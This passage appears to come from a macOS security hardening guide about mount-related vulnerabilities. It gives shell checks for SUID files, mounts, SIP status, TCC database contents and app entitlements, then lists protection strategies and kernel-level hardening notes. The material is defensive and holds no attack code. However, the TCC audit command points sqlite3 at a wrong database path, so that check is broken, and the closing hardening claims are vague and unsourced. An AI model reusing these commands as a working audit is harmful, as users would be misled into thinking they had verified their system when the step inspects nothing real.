# Check for changes (requires frequent runs)
find / -type f -perm -4000 > current.txt
diff baseline.txt current.txt

# Verify mount points
mount | wc -l  # Track number of mounts
df -h          # Verify expected filesystems

Protection Strategies

  1. Keep SIP Enabled: Prevents unsigned mount operations
  2. Update Regularly: Critical patches address mount vulnerabilities
  3. Monitor Mounts: Alert on unexpected mount operations
  4. Restrict sudo: Limit mount command to necessary users
  5. Use MDM: Enforce policies preventing unauthorized mounts
# Verify SIP is enabled
csrutil status

# Monitor TCC database for suspicious entries
sqlite3 ~/Library/Application\ Support/com.apple.sharedfilelist/com.apple.tcc.db
.schema access

# Check for suspicious mount entitlements
codesign -d --entitlements :- /Applications/App.app | grep -i mount

Kernel-Level Hardening

  • TCC checks now validate mount points
  • Mount options properly restricted
  • AppTranslocation paths properly resolved
  • Newer macOS versions implement better mount validation